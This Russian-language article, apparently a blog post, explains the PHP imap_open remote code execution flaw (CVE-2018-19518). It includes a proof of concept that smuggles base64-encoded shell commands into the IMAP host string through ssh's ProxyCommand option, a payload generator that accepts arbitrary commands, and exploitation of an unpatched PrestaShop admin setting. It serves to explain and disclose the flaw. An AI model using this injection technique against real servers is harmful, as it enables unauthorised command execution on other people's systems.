После публикации уязвимостей CVE-2018-19518 и CVE-2018-19296 найденных @crlf, мы решили подробнее проанализировать.
Сегодня мы рассмотрим захватывающий способ удаленного выполнения кода, даже если администратор установил disable_functions в файле конфигурации PHP.
Работает на большинстве популярных UNIX-подобных систем.
Давайте посмотрим детали этой уязвимости и как мы можем ее использовать
Дисклеймер: Данная статья написана только в образовательных целях и автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий. Все указанные утилиты и методы обхода предназначены лишь для большего понимания администраторов систем и отвественных работников организаций методов атак и их предотвращения.
Тестовая среда
Для тестирования манипуляций нам нужно создать среду тестирования.
Я буду использовать Docker-контейнер с системой Debian 9 и для отладки некоторые параметры безопасности отключим.
docker run — rm -ti — cap-add=SYS_PTRACE — security-opt seccomp=unconfined — name=phpimap — hostname=phpimap -p80:80 debian /bin/bash
Далее нам нужно установить модули PHP IMAP ну и конечно же редактор текста, иначе запустив vi мы останемся в нем навсегда:
apt update && apt install -y nano php php-imap
На момент написания статьи у меня была установлена версия PHP 7.0.30 из репозиториев по умолчанию, хотя можно было и обновить до PHP 7.2.4
Кроме того, нам нужен ssh, потому что на каждом уважающем себя сервере есть ssh, верно? 🙂
apt install -y ssh
Если вы хотите видеть системные вызовы, вам нужно установить инструмент strace
apt install -y strace
Теперь попробуем добавить немного безопасности в нашу PHP.
Для этого я просто гуглю «php отключить опасные функции» и использую первую ссылку из результатов поиска.
В соответствии с руководством нам нужно добавить следующее в наш файл конфигурации php.ini. Давайте сделаем это:
sudo nano /etc/php.ini
Находим disable_functions и вставляем код:
disable_functions =exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Создайте файл security.ini в директории /etc/php/7.0/fpm/conf.d/ с параметрами:
disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
Ну или одной строкой:
echo '; priority=99' > /etc/php/7.0/mods-available/disablefns.ini
echo 'disable_functions=exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source' >> /etc/php/7.0/mods-available/disablefns.ini
phpenmod disablefns
Я также рекомендую отключить allow_url_include и allow_url_fopen по соображениям безопасности:
allow_url_fopen=Off
allow_url_include=Off
Ну и затем ребутим сервисы:
Если у Вас RHEL/CentOS/Fedora Linux:
systemctl httpd restart
Если у Вас Debian/Ubuntu Linux:
systemctl restart apache2
Теперь мы, якобы, защищены и не можем выполнять большинство опасных функций. Давайте посмотрим, что мы можем сделать с этим.
Давайте немного отвлечемся на ликбез, без которого не будет понятна сама суть. Что такое IMAP?
Почему мы должны ответить на этот странный вопрос? Потому что это мост для выполнения любой команды в системе. Протокол доступа к сообщениям в Интернете (IMAP) — это стандартный протокол Интернета, используемый почтовыми клиентами для получения сообщений электронной почты с почтового сервера через соединение TCP / IP. IMAP был разработан Марком Криспином в 1986 году как протокол удаленного почтового ящика, в отличие от широко используемого POP, протокола для извлечения содержимого почтового ящика. На данный момент IMAP определяется спецификацией RFC 3501. IMAP был разработан с целью обеспечения полного управления почтовым ящиком несколькими почтовыми клиентами. Поэтому клиенты обычно оставляют сообщения на сервере, пока пользователь явно не удалит их. Сервер IMAP обычно прослушивает номер порта 143. По умолчанию IMAP через SSL (IMAPS) назначается номер порта 993. Конечно, PHP имеет встроенную поддержку IMAP. Чтобы упростить работу с этим протоколом, в PHP есть множество функций. Из всех этих функций нас интересует только imap_open. Он используется для открытия потока IMAP в почтовый ящик. Эта функция не является основной функцией PHP; он был импортирован из UW IMAP Toolkit Environment, разработанного Вашингтонским университетом в 2007 году. Последняя версия этой библиотеки была выпущена около 7 лет назад в 2011 году.
Синтаксис для вызова внутри PHP выглядит примерно так:
resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )
Параметр mailbox используется, когда вам нужно определить сервер для подключения:
{[host]}:[port][flags]}[mailbox_name]
Помимо стандартного имени хоста, порта и почтового ящика мы можем использовать несколько других флагов. Вся информация об этом доступна на официальной странице в руководстве. Стандартное подключение к какому-либо серверу IMAP может выглядеть так:
imap_open("{mail.domain.com}:143/imap/notls}", "admin", "admin")
Где / imap и / notls — это флаги подключения.
Посмотрите на выделенный / норш флаг.
IMAP позволяет использовать предварительно аутентифицированный сеанс ssh или rsh для автоматического входа на сервер. Флаг, используемый, когда вам не нужно использовать этот функционал, тогда по умолчанию это делается. Все знают о ssh, но кто или что такое rsh?
Что такое rsh?
Удаленная оболочка (rsh) использовалась давным-давно до ssh. Его происхождение восходит к операционной системе BSD Unix вместе с rcp. Он был частью пакета rlogin на 4.2BSD в 1983 году. С тех пор Rsh был портирован на другие операционные системы. Затем, в 1995 году, была представлена первая версия протокола SSH.
Команда rsh имеет то же имя, что и другая распространенная утилита UNIX, оболочка с ограниченным доступом, которая впервые появилась в PWB / UNIX. В System V Release 4 ограниченная оболочка часто находится в / usr / bin / rsh. Вопрос, остается ли rsh в 2018 году? Ну, большинство популярных Unix-подобных дистрибутивов по-прежнему используют его:
Детали уязвимости
Посмотрите на исходный код библиотеки imap2007f. Основной функцией, которая работает с соединениями, является tcp_aopen, определенный в файле tcp_unix.c.
/imap-2007f/src/osdep/unix/tcp_unix.c:
321: /* TCP/IP authenticated open
322: * Accepts: host name
323: * service name
324: * returned user name buffer
325: * Returns: TCP/IP stream if success else NIL
…
330: TCPSTREAM *tcp_aopen (NETMBX *mb,char *service,char *usrbuf)
331: {
Давайте проверим, определены ли пути к ssh и rsh.
/imap-2007f/src/osdep/unix/tcp_unix.c:
342: if (!sshpath) sshpath = cpystr (SSHPATH);
345: if (!rshpath) rshpath = cpystr (RSHPATH);
Этот код говорит нам, что если SSHPATH не определен, то пытается прочитать RSHPATH. Немного серфинга по исходному коду поможет нам выяснить, где происходит определение SSHPATH. Фактически, это демон конфигурации чтения файлов IMAP /etc/c-client.cf. Процедура dorc разбирает информацию из нее и среди многих других директив ssh-path существует. Если это определено, тогда SSHPATH принимает это.
/imap-2007f/src/osdep/unix/env_unix.h:
48:/* dorc() options
50:/*define SYSCONFIG "/etc/c-client.cf"
/imap-2007f/src/osdep/unix/env_unix.c:
1546: /* Process rc file
…
1552: void dorc (char *file,long flag)
1553: {
…
1677: else if (!compare_cstring (s,"set ssh-path"))
1678: mail_parameters (NIL,SET_SSHPATH,(void *) k);
По умолчанию он пуст, и мы не можем им управлять, потому что в каталоге / etc не включена запись.
Но вы можете попытаться копнуть глубже в этом направлении, и, возможно, вы можете найти вектор атаки.
Теперь перейдем к определению RSHPATH.
Он находится внутри файла конфигурации инструмента автоматизации сборки (make) — Makefile. Разные версии дистрибутивов имеют разные пути для Makefile.
/ IMAP-2007f / SRC / osdep / Unix / Makefile:
248: bs3: /* BSD/i386 3.0 or higher
…
253: RSHPATH=/usr/bin/rsh \
…
261: bsf: /* FreeBSD
…
266: RSHPATH=/usr/bin/rsh \
…
528: mnt: /* Mint
…
533: RSHPATH=/usr/bin/rsh \
…
590: osx: /* Mac OS X
…
594: RSHPATH=/usr/bin/rsh \
…
673: slx: /* Secure Linux
…
681: RSHPATH=/usr/bin/rsh \
Так сложилось исторически, что меня больше привлекает ветка Debian.
Вернемся к tcp_aopen и посмотрим, что произойдет после определений.
/imap-2007f/src/osdep/unix/tcp_unix.c:
347: if (*service == '*') { /* want ssh? */
348: /* return immediately if ssh disabled */
349: if (!(sshpath && (ti = sshtimeout))) return NIL;
350: /* ssh command prototype defined yet? */
351: if (!sshcommand) sshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
352: }
353: /* want rsh? */
354: else if (rshpath && (ti = rshtimeout)) {
355: /* rsh command prototype defined yet? */
356: if (!rshcommand) rshcommand = cpystr ("%s %s -l %s exec /etc/r%sd");
357: }
358: else return NIL; /* rsh disabled */
Код генерирует команду для выполнения двоичного файла rimapd на удаленном сервере.
Давайте создадим PHP-скрипт для тестирования (я называю такие странички — shell).
test1.php:
<?php
@imap_open(‘{localhost:143/imap}INBOX’, ‘’, ‘’);
Затем воспользуемся инструментом strace с фильтрацией системных вызовов execve, чтобы посмотреть, какая команда будет выполнена во время обработки скрипта:
strace -f -e trace=clone,execve php test1.php
Как видите, localhost является одним из аргументов выполняемой команды. Это означает, что мы можем манипулировать командной строкой при обработке параметра адреса сервера.
Давайте рассмотрим параметры двоичного файла ssh, потому что в Debian / usr / bin / rsh есть символическая ссылка на него.
Здесь есть множество вариантов, конечно, мы должны сосредоточиться на -o.
С помощью этой опции я могу передать любые директивы в командной строке, как если бы они были в файле конфигурации.
Посмотрите на ProxyCommand. С его помощью вы можете указать команду для подключения к серверу.
Команда выполняется в оболочке пользователя. Это именно то, что нам нужно!
Давайте посмотрим, как это работает с простой командой:
ssh -oProxyCommand="echo hello|tee /tmp/executed" localhost
Команда полностью выполнена.
Хорошо, но мы не можем напрямую передать его в скрипт PHP вместо адреса сервера imap_open, потому что при синтаксическом анализе он интерпретирует пробелы как разделители и косые черты как флаги.
К счастью, вы можете использовать переменную оболочки $ IFS для замены пробелов или обычных вкладок (\ t). Вы можете вставить вкладки в bash, используя горячие клавиши Ctrl + V и затем кнопку Tab.
ssh -oProxyCommand="echo hello|tee /tmp/executed" localhost
Чтобы обойти косые черты, вы можете использовать base64 и соответствующую команду для ее декодирования:
echo "echo hello|tee /tmp/executed"|base64
> ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=
ssh -oProxyCommand="echo ZWNobyBoZWxsb3x0ZWUgL3RtcC9leGVjdXRlZAo=|base64 -d|bash" localhost
Вуаля!!! Работает отлично! Пришло время проверить это на PHP:
<?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');
Теперь снова выполните его с помощью strace и посмотрите, что вызывает командная строка.
Посмотрите на цепочку этих вызовов. Здесь есть все наши команды и они выполняются на удаленном сервере.
Эксплуатация завершена, файл успешно создан. Команда выполняется не самим PHP, а внешней библиотекой, что означает, что ничто не может помешать ее выполнению.
А теперь к примерам
Теперь давайте посмотрим на реальный пример с использованием CMS PrestaShop.
Это бесплатное решение для электронной коммерции с открытым исходным кодом. Программное обеспечение, опубликованное в рамках Open Software License. Он написан на PHP с поддержкой системы управления базами данных MySQL.
PrestaShop в настоящее время используется около 250 000 интернет-магазинов по всему миру.
Во-первых, вам необходимо установить среду с минимальными требованиями:
apt install -y wget unzip apache2 mysql-server php-zip php-curl php-mysql php-gd php-mbstring
service mysql start
mysql -u root -e "CREATE DATABASE prestashop; GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY 'megapass';"
a2enmod rewrite
Затем загрузите установщик PrestaShop 1.7.4.4 и распакуйте его в корневой веб-каталог.
cd /var/www/html
wget https://download.prestashop.com/download/releases/prestashop_1.7.4.4.zip
unzip prestashop_1.7.4.4.zip
Start Apache2 daemon and surf your web-server to begin shop installation.
service apache2 start
После успешного завершения установки войдите в панель администратора, перейдите на вкладку «Обслуживание клиентов» и просмотрите раздел «Параметры обслуживания клиентов». Там есть параметры сервера IMAP, и среди них вы можете найти URL IMAP.
Посмотрите на исходный код контроллера AdminCustomerThreads (prestashop-1.7.4.4/controllers/admin/AdminCustomerThreadsController.php):
0948: // Executes the IMAP synchronization.
0949: $sync_errors = $this->syncImap();
…
0966: public function syncImap()
0967: {
0968: if (!($url = Configuration::get(‘PS_SAV_IMAP_URL’))
0969: || !($port = Configuration::get(‘PS_SAV_IMAP_PORT’))
0970: || !($user = Configuration::get(‘PS_SAV_IMAP_USER’))
0971: || !($password = Configuration::get(‘PS_SAV_IMAP_PWD’))) {
0972: return array(‘hasError’ => true, ‘errors’ => array(‘IMAP configuration is not correct’));
0973: }
0974:
0975: $conf = Configuration::getMultiple(array(
0976: ‘PS_SAV_IMAP_OPT_POP3’, ‘PS_SAV_IMAP_OPT_NORSH’, ‘PS_SAV_IMAP_OPT_SSL’,
0977: ‘PS_SAV_IMAP_OPT_VALIDATE-CERT’, ‘PS_SAV_IMAP_OPT_NOVALIDATE-CERT’,
0978: ‘PS_SAV_IMAP_OPT_TLS’, ‘PS_SAV_IMAP_OPT_NOTLS’));
…
1007: $mbox = @imap_open(‘{‘.$url.’:’.$port.$conf_str.’}’, $user, $password);
Вы можете увидеть здесь вызов imap_open с переменной $ url пользовательских данных.
Я обновил предыдущий скрипт в небольшой генератор полезной нагрузки на PHP (payload.php:):
<?php
$payload = $argv[1];
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash}";
print("payload: {$server}".PHP_EOL);
Вставьте сгенерированную полезную нагрузку и нажмите «Сохранить»:
Вуаля!
Заключение
Сегодня мы узнали о новой технике обхода ограничений безопасности и реализации уязвимости удаленного выполнения кода.
Посмотрите на реальный пример использования его с CMS PrestaShop, у которого до сих пор нет заплатки.
Тем не менее, разработчики PHP уже выпустили патч. К сожалению, репозитории дистрибутивов Linux и пакеты обновляются не так быстро, как нам всем хотелось бы.
Остерегайтесь и старайтесь избегать небезопасных вызовов функций imap_open в своих проектах.
Надеюсь статья Вам понравилась, подписывайтесь на наш телеграм канал.